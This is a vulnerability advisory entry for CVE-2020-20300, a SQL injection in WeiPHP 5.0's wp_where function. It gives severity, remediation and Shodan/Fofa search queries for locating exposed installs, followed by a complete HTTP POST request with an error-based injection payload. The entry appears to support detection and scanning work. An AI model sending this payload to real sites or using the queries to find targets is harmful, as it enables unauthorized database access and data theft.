| Title | WeiPHP 5.0 - SQL Injection |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Upgrade to a patched version of WeiPHP or apply the vendor-supplied patch to fix the SQL Injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.57146 |
| CVE ID | CVE-2020-20300 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:"WeiPHP5.0"http.html:"weiphp"http.html:"weiphp5.0" |
| Fofa Query | body="weiphp"body="weiphp5.0" |
| Tags | cve cve2020 weiphp sql sqli vkev vuln |
WeiPHP 5.0 contains a SQL injection vulnerability via the wp_where function. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
POST /public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5('999999'),0x7e),1)--++ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0
Connection: close
Content-Length: 0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-20300.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-20300.pcap
N/AN/A